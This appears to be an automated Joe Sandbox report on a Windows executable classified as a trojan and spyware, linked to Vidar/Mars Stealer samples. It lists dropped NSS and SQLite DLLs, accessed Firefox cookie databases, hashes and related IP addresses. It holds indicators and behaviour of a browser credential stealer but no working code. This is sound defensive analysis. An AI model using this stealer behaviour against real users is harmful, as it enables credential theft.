Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1498384
Start date and time:	2024-08-24 11:01:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	BBiIn5gqhd.exe renamed because original name is a hash value
Original Sample Name:	311476e365e80b02b44b55ddcf5865c4.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/24@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 63 Number of non-executed functions: 30
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:01:55	API Interceptor	1x Sleep call for process: BBiIn5gqhd.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PONYNETUS	hDlOQhHBlY.exe	Get hash	malicious	Unknown	Browse	107.189.8.238
	Y5H9gLDqkq.exe	Get hash	malicious	Unknown	Browse	199.195.250.165
	ExeFile (317).exe	Get hash	malicious	Emotet	Browse	209.141.54.221
	ExeFile (360).exe	Get hash	malicious	Emotet	Browse	209.141.54.221
	ExeFile (356).exe	Get hash	malicious	Emotet	Browse	209.141.54.221
	ExeFile (22).exe	Get hash	malicious	Emotet	Browse	209.141.54.221
	ExeFile (226).exe	Get hash	malicious	Emotet	Browse	209.141.54.221
	ExeFile (145).exe	Get hash	malicious	Emotet	Browse	209.141.54.221
	ExeFile (156).exe	Get hash	malicious	Emotet	Browse	209.141.54.221
	ExeFile (171).exe	Get hash	malicious	Emotet	Browse	209.141.54.221

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	Uin5FyPXbS.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	WTsvUl9X8N.exe	Get hash	malicious	Oski Stealer, Vidar	Browse
	DZ1x3hqhbe.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	4bVsmYiuXy.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	SecuriteInfo.com.Win32.Evo-gen.25423.22998.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	PmX1jHdUnS.exe	Get hash	malicious	Oski Stealer, Vidar	Browse
	INV_34897003.pif.exe	Get hash	malicious	Mars Stealer, Vidar	Browse
	cBMUYyAn60.exe	Get hash	malicious	Oski Stealer, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	PrivateLoader	Browse

Created / dropped Files

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334288
Entropy (8bit):	6.807000203861606
Encrypted:	false
SSDEEP:	6144:C8YBC2NpfYjGg7t5xb7WOBOLFwh8yGHrIrvqqDL6XPowD:CbG7F35BVh8yIZqn65D
MD5:	EF2834AC4EE7D6724F255BEAF527E635
SHA1:	5BE8C1E73A21B49F353C2ECFA4108E43A883CB7B
SHA-256:	A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA
SHA-512:	C6EA0E4347CBD7EF5E80AE8C0AFDCA20EA23AC2BDD963361DFAF562A9AED58DCBC43F89DD826692A064D76C3F4B3E92361AF7B79A6D16A75D9951591AE3544D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Uin5FyPXbS.exe, Detection: malicious, Browse Filename: WTsvUl9X8N.exe, Detection: malicious, Browse Filename: DZ1x3hqhbe.exe, Detection: malicious, Browse Filename: 4bVsmYiuXy.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Evo-gen.25423.22998.exe, Detection: malicious, Browse Filename: PmX1jHdUnS.exe, Detection: malicious, Browse Filename: INV_34897003.pif.exe, Detection: malicious, Browse Filename: cBMUYyAn60.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L....b.[.........."!.........f......)........................................p.......s....@.........................p...P............@..x....................P......0...T...............................@...............8............................text...t........................... ..`.rdata..............................@..@.data...,H..........................@....rsrc...x....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137168
Entropy (8bit):	6.78390291752429
Encrypted:	false
SSDEEP:	3072:7Gyzk/x2Wp53pUzPoNpj/kVghp1qt/dXDyp4D2JJJvPhrSeTuk:6yQ2Wp53iO/kVghp12/dXDyyD2JJJvPR
MD5:	8F73C08A9660691143661BF7332C3C27
SHA1:	37FA65DD737C50FDA710FDBDE89E51374D0C204A
SHA-256:	3FE6B1C54B8CF28F571E0C5D6636B4069A8AB00B4F11DD842CFEC00691D0C9CD
SHA-512:	0042ECF9B3571BB5EBA2DE893E8B2371DF18F7C5A589F52EE66E4BFBAA15A5B8B7CC6A155792AAA8988528C27196896D5E82E1751C998BACEA0D92395F66AD89
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L...._.[.........."!.....z...................................................@.......3....@A........................@...t.......,.... ..x....................0..h.......T...................T.......h...@...................l........................text....x.......z.................. ..`.rdata..^e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..h....0......................@..B........................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1246160
Entropy (8bit):	6.765536416094505
Encrypted:	false
SSDEEP:	24576:Sb5zzlswYNYLVJAwfpeYQ1Dw/fEE8DhSJVIVfRyAkgO6S/V/jbHpls4MSRSMxkoo:4zW5ygDwnEZIYkjgWjblMSRSMqH
MD5:	BFAC4E3C5908856BA17D41EDCD455A51
SHA1:	8EEC7E888767AA9E4CCA8FF246EB2AACB9170428
SHA-256:	E2935B5B28550D47DC971F456D6961F20D1633B4892998750140E0EAA9AE9D78
SHA-512:	2565BAB776C4D732FFB1F9B415992A4C65B81BCD644A9A1DF1333A269E322925FC1DF4F76913463296EFD7C88EF194C3056DE2F1CA1357D7B5FE5FF0DA877A66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.4.g.Z.g.Z.g.Z.n...s.Z..[.e.Z..B..c.Z..Y.j.Z.._.m.Z..^.l.Z.E.[.o.Z..[.d.Z.g.[..Z..^.m.Z..Z.f.Z....f.Z..X.f.Z.Richg.Z.................PE..L....b.[.........."!................w........................................@............@..................................=..T.......p........................}..p...T..............................@............................................text............................... ..`.rdata...R.......T..................@..@.data...tG...`..."...B..............@....rsrc...p............d..............@..@.reloc...}.......~...h..............@..B........................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144848
Entropy (8bit):	6.539750563864442
Encrypted:	false
SSDEEP:	3072:UAf6suip+d7FEk/oJz69sFaXeu9CoT2nIVFetBWsqeFwdMIo:p6PbsF4CoT2OeU4SMB
MD5:	A2EE53DE9167BF0D6C019303B7CA84E5
SHA1:	2A3C737FA1157E8483815E98B666408A18C0DB42
SHA-256:	43536ADEF2DDCC811C28D35FA6CE3031029A2424AD393989DB36169FF2995083
SHA-512:	45B56432244F86321FA88FBCCA6A0D2A2F7F4E0648C1D7D7B1866ADC9DAA5EDDD9F6BB73662149F279C9AB60930DAD1113C8337CB5E6EC9EED5048322F65F7D8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L....b.[.........."!.........b...............................................P............@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334288
Entropy (8bit):	6.807000203861606
Encrypted:	false
SSDEEP:	6144:C8YBC2NpfYjGg7t5xb7WOBOLFwh8yGHrIrvqqDL6XPowD:CbG7F35BVh8yIZqn65D
MD5:	EF2834AC4EE7D6724F255BEAF527E635
SHA1:	5BE8C1E73A21B49F353C2ECFA4108E43A883CB7B
SHA-256:	A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA
SHA-512:	C6EA0E4347CBD7EF5E80AE8C0AFDCA20EA23AC2BDD963361DFAF562A9AED58DCBC43F89DD826692A064D76C3F4B3E92361AF7B79A6D16A75D9951591AE3544D2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L....b.[.........."!.........f......)........................................p.......s....@.........................p...P............@..x....................P......0...T...............................@...............8............................text...t........................... ..`.rdata..............................@..@.data...,H..........................@....rsrc...x....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137168
Entropy (8bit):	6.78390291752429
Encrypted:	false
SSDEEP:	3072:7Gyzk/x2Wp53pUzPoNpj/kVghp1qt/dXDyp4D2JJJvPhrSeTuk:6yQ2Wp53iO/kVghp12/dXDyyD2JJJvPR
MD5:	8F73C08A9660691143661BF7332C3C27
SHA1:	37FA65DD737C50FDA710FDBDE89E51374D0C204A
SHA-256:	3FE6B1C54B8CF28F571E0C5D6636B4069A8AB00B4F11DD842CFEC00691D0C9CD
SHA-512:	0042ECF9B3571BB5EBA2DE893E8B2371DF18F7C5A589F52EE66E4BFBAA15A5B8B7CC6A155792AAA8988528C27196896D5E82E1751C998BACEA0D92395F66AD89
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L...._.[.........."!.....z...................................................@.......3....@A........................@...t.......,.... ..x....................0..h.......T...................T.......h...@...................l........................text....x.......z.................. ..`.rdata..^e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..h....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1246160
Entropy (8bit):	6.765536416094505
Encrypted:	false
SSDEEP:	24576:Sb5zzlswYNYLVJAwfpeYQ1Dw/fEE8DhSJVIVfRyAkgO6S/V/jbHpls4MSRSMxkoo:4zW5ygDwnEZIYkjgWjblMSRSMqH
MD5:	BFAC4E3C5908856BA17D41EDCD455A51
SHA1:	8EEC7E888767AA9E4CCA8FF246EB2AACB9170428
SHA-256:	E2935B5B28550D47DC971F456D6961F20D1633B4892998750140E0EAA9AE9D78
SHA-512:	2565BAB776C4D732FFB1F9B415992A4C65B81BCD644A9A1DF1333A269E322925FC1DF4F76913463296EFD7C88EF194C3056DE2F1CA1357D7B5FE5FF0DA877A66
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.4.g.Z.g.Z.g.Z.n...s.Z..[.e.Z..B..c.Z..Y.j.Z.._.m.Z..^.l.Z.E.[.o.Z..[.d.Z.g.[..Z..^.m.Z..Z.f.Z....f.Z..X.f.Z.Richg.Z.................PE..L....b.[.........."!................w........................................@............@..................................=..T.......p........................}..p...T..............................@............................................text............................... ..`.rdata...R.......T..................@..@.data...tG...`..."...B..............@....rsrc...p............d..............@..@.reloc...}.......~...h..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144848
Entropy (8bit):	6.539750563864442
Encrypted:	false
SSDEEP:	3072:UAf6suip+d7FEk/oJz69sFaXeu9CoT2nIVFetBWsqeFwdMIo:p6PbsF4CoT2OeU4SMB
MD5:	A2EE53DE9167BF0D6C019303B7CA84E5
SHA1:	2A3C737FA1157E8483815E98B666408A18C0DB42
SHA-256:	43536ADEF2DDCC811C28D35FA6CE3031029A2424AD393989DB36169FF2995083
SHA-512:	45B56432244F86321FA88FBCCA6A0D2A2F7F4E0648C1D7D7B1866ADC9DAA5EDDD9F6BB73662149F279C9AB60930DAD1113C8337CB5E6EC9EED5048322F65F7D8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L....b.[.........."!.........b...............................................P............@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sqlite3[1].dll

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\2NOH4EKN

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\DBAI5X4O

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\DJMYU3EC

Download File

Process:	C:\Users\user\Desktop\BBiIn5gqhd.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
